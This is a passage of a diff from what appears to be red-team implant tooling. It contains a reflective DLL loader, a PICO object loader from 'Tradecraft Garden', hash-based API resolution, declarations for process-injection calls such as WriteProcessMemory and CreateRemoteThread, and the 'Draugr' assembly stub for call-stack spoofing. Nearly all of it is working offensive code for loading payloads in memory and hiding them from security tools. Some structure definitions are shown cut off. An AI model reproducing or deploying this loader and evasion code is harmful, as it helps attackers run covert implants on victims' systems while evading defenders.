* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
#include <windows.h>
#include "tcg.h"
#include "memory.h"
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define GETRESOURCE(x) (char *)&x
typedef struct {
UINT_PTR function;
UINT_PTR argument1;
UINT_PTR argument2;
UINT_PTR argument3;
UINT_PTR argument4;
UINT_PTR argument5;
UINT_PTR argument6;
} NTARGS;
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
int length;
char value[];
} RESOURCE;
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[12288];
#endif
} PICO;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
void ProcessRelocations(DLLDATA * dll, char * src, char * dst) {
IMAGE_DATA_DIRECTORY * relocationData;
ULONG_PTR newBaseAddress;
IMAGE_BASE_RELOCATION * relocation;
relocationData = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_BASERELOC);
// calculate the base address delta and perform relocations (even if we load at desired image base)
newBaseAddress = (ULONG_PTR)dst - (ULONG_PTR)dll->OptionalHeader->ImageBase;
/* check if there are relocations present */
if (relocationData->Size) {
relocation = (IMAGE_BASE_RELOCATION *)( dst + relocationData->VirtualAddress );
while (relocation->SizeOfBlock) {
/* process this next relocation */
ProcessRelocation(dll, src, dst, relocation, newBaseAddress);
/* go on to our next relocation */
relocation = (IMAGE_BASE_RELOCATION *)PTR_OFFSET(relocation, relocation->SizeOfBlock);
}
}
}
void ProcessImport(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst, IMAGE_IMPORT_DESCRIPTOR * importDesc) {
void * hLib;
IMAGE_THUNK_DATA * firstThunk;
IMAGE_THUNK_DATA * originalFirstThunk;
IMAGE_IMPORT_BY_NAME * importByName;
ULONG_PTR importByOrdinal;
/* load whatever library we need here */
hLib = (void *)funcs->LoadLibraryA((char *)PTR_OFFSET(dst, importDesc->Name));
/* get our thunks */
firstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->FirstThunk );
originalFirstThunk = (IMAGE_THUNK_DATA *)PTR_OFFSET( dst, importDesc->OriginalFirstThunk );
/* NOTE: IMAGE_THUNK_DATA has one union member, u1. All of the fields are the same size.
* The different member names seem more for semantics than anything else. We're skipping the
* field names in the union and just stomping over whatever is in this pointer-sized structure */
/* https://devblogs.microsoft.com/oldnewthing/20231129-00/?p=109077 */
while ( DEREF(firstThunk) ) {
if ( originalFirstThunk && (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) ) {
/*
* I'm OK passing a ULONG_PTR with our ordinal. Windows (will likely) just check
* that our pointer is < MAXUSHORT ala ReactOS:
* https://doxygen.reactos.org/de/de3/dll_2win32_2kernel32_2client_2loader_8c.html#a0f3819de0cdab6061ec9e3432a85bf85
*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
char * resolve(DWORD modHash, DWORD funcHash) {
char * hModule = (char *)findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
-154
View File
@@ -1,154 +0,0 @@
/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
+29 -1
View File
@@ -1,3 +1,31 @@
/*
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
typedef struct {
@@ -16,5 +44,5 @@ typedef struct {
typedef struct {
MEMORY_REGION pic;
MEMORY_REGION hooks;
MEMORY_REGION beacon;
MEMORY_REGION dll;
} MEMORY_LAYOUT;
-25
View File
@@ -1,25 +0,0 @@
#include <windows.h>
WINBASEAPI int STDAPIVCALLTYPE MSVCRT$vsnprintf (char *, size_t, const char *, ...);
WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
WINBASEAPI VOID WINAPI KERNEL32$OutputDebugStringA (LPCSTR);
WINBASEAPI BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
void dprintf(char * format, ...)
{
va_list args;
va_start(args, format);
int len = MSVCRT$vsnprintf(NULL, 0, format, args);
char * temp = (char *)KERNEL32$VirtualAlloc(NULL, len + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (temp == NULL) {
return;
}
MSVCRT$vsnprintf(temp, len + 1, format, args);
KERNEL32$OutputDebugStringA(temp);
KERNEL32$VirtualFree(temp, 0, MEM_RELEASE);
va_end(args);
}
-205
View File
@@ -1,205 +0,0 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
typedef struct {
int codeLength;
int dataLength;
int rsrcOffset;
int entryAddress;
} PICO_HDR;
#define FIRST_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + sizeof(PICO_HDR))
#define NEXT_PICO_DIRECTIVE(x) (PICO_DIRECTIVE_HDR *)((void *)x + x->length);
#define PICO_INST_COMPLETE 0x0
#define PICO_INST_PATCH 0x1
#define PICO_INST_COPY 0x2
#define PICO_INST_LL 0x3
#define PICO_INST_GPA 0x4
#define PICO_INST_PATCH_DIFF 0x5
#define PICO_INST_PATCH_FUNC 0x6
#define PICO_PATCH_TEXT_TEXT 0x0
#define PICO_PATCH_TEXT_BASE 0x1
#define PICO_PATCH_BASE_TEXT 0x2
#define PICO_PATCH_BASE_BASE 0x3
#define PICO_PATCHF_FUNC 0x0
#define PICO_CONTEXT_CODE 0x5
#define PICO_CONTEXT_DATA 0x6
typedef struct {
char type;
char option;
short length;
} PICO_DIRECTIVE_HDR;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int offset;
} PICO_DIRECTIVE_PATCH;
typedef struct {
PICO_DIRECTIVE_HDR hdr;
int src_offset;
int dst_offset;
int total;
} PICO_DIRECTIVE_COPY;
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base) {
PICO_HDR * hdr = (PICO_HDR *)src;
return (PICOMAIN_FUNC)( (char *)base + hdr->entryAddress );
}
int PicoCodeSize(char * src) {
return ( (PICO_HDR *)src )->codeLength;
}
int PicoDataSize(char * src) {
return ( (PICO_HDR *)src )->dataLength;
}
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData) {
PICO_DIRECTIVE_HDR * entry;
PICO_DIRECTIVE_PATCH * patch;
PICO_DIRECTIVE_COPY * copy;
HANDLE module;
char * address;
PICO_HDR * hdr = (PICO_HDR *)src;
entry = FIRST_PICO_DIRECTIVE(hdr);
while (TRUE) {
/*
* The heart and soul of PICO loading. Patching pointers into our destination blob
* to make sure everything works as hoped and expected. x86 doesn't do indirect addressing
* so there's a lot more patches there. But x64 needs some pointer patching too.
*/
if (entry->type == PICO_INST_PATCH) {
ULONG_PTR value;
ULONG_PTR src;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCH_TEXT_TEXT) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_TEXT_BASE) {
src = (ULONG_PTR)dstCode;
value = (ULONG_PTR)dstData;
}
else if (entry->option == PICO_PATCH_BASE_TEXT) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstCode;
}
else if (entry->option == PICO_PATCH_BASE_BASE) {
src = (ULONG_PTR)dstData;
value = (ULONG_PTR)dstData;
}
/* get the existing offset (from whatever base) within the .text section */
value += *(ULONG_PTR *)(src + patch->offset);
/* set it back */
*(ULONG_PTR *)(src + patch->offset) = value;
}
/*
* This block is for updating our function table sitting in our data section. We're
* either dumping the last resolved address at some specific slot OR we're pulling in
* a pre-determined internal API (which is presumed to be an overloaded IMPORTFUNCS
* structure... which we're treating as an array of function pointers basically)
*/
else if (entry->type == PICO_INST_PATCH_FUNC) {
ULONG_PTR value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
if (entry->option == PICO_PATCHF_FUNC) {
value = (ULONG_PTR)address;
}
else {
ULONG_PTR * table = (ULONG_PTR *)funcs;
value = table[entry->option - 1];
}
*(ULONG_PTR *)(dstData + patch->offset) = value;
}
/*
* This is here to support keeping code + data in separate regions in x64 builds.
*/
#ifdef WIN_X64
else if (entry->type == PICO_INST_PATCH_DIFF) {
DWORD value;
patch = (PICO_DIRECTIVE_PATCH *)entry;
/* fetch the value currently at the patch address */
value = *(DWORD *)(dstCode + patch->offset);
/* adjust the value */
value += (ULONG_PTR)dstData - (ULONG_PTR)dstCode;
/* set it back */
*(DWORD *)(dstCode + patch->offset) = value;
}
#endif
/*
* Directive copies from our packed src to our destination. We do it this way to allow
* our .text section to pack down to its raw value and we expand it to its page-aligned
* size after.
*/
else if (entry->type == PICO_INST_COPY) {
copy = (PICO_DIRECTIVE_COPY *)entry;
char * dst;
/* make sure we're copying to the right context */
if (entry->option == PICO_CONTEXT_CODE)
dst = dstCode;
else
dst = dstData;
/* do our copy */
__movsb((unsigned char *)dst + copy->dst_offset, (unsigned char *)src + hdr->rsrcOffset + copy->src_offset, copy->total);
}
/*
* Directive does a LoadLibraryA() to set our handle. Used as a precursor to any
* GetProcAddress lookups based on this later on.
*/
else if (entry->type == PICO_INST_LL) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
module = funcs->LoadLibraryA(arg);
}
/*
* Call GetProcAddress on an argument. A precursor to a PATCH_FUNC instruction to push
* this pointer to the appropriate spot within our PICO blob.
*/
else if (entry->type == PICO_INST_GPA) {
char * arg = (char *)entry + sizeof(PICO_DIRECTIVE_HDR);
address = (char *)funcs->GetProcAddress(module, arg);
}
/*
* An instruction to indicate the loading is complete and we should return.
*/
else if (entry->type == PICO_INST_COMPLETE) {
return;
}
entry = NEXT_PICO_DIRECTIVE(entry);
}
}
+33 -13
View File
@@ -1,10 +1,30 @@
/*
* This is just the Draugr assembly stub used to prep the stack
* and make the API call. It does mean that anything calling this
* has to do the work of prepping the structs with the fake
* frame data and such...
*/
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void * __attribute__((naked)) SpoofStub()
{
@@ -16,7 +36,7 @@ void * __attribute__((naked)) SpoofStub()
"mov rdi, [rsp + 32];" // Storing struct in rdi
"mov rsi, [rsp + 40];" // Storing function to call
// Storing our original registers
// Storing our original registers
"mov [rdi + 24], r10;" // Storing OG rdi into param
"mov [rdi + 88], r11;" // Storing OG rsi into param
"mov [rdi + 96], r12;" // Storing OG r12 into param
@@ -25,7 +45,7 @@ void * __attribute__((naked)) SpoofStub()
"mov [rdi + 120], r15;" // Storing OG r15 into param
"mov r12, rax;" // OG code used r12 for ret addr
// Prepping to move stack args
// Prepping to move stack args
"xor r11, r11;" // r11 will hold the # of args that have been pushed
"mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed
"mov r14, 0x200;" // r14 will hold the offset we need to push stuff
@@ -41,17 +61,17 @@ void * __attribute__((naked)) SpoofStub()
"cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add
"je finish;"
// Getting location to move the stack arg to
// Getting location to move the stack arg to
"sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset.
"mov r15, rsp;" // get current stack base
"sub r15, r14;" // subtract offset
// Procuring the stack arg
// Procuring the stack arg
"add r10, 8;"
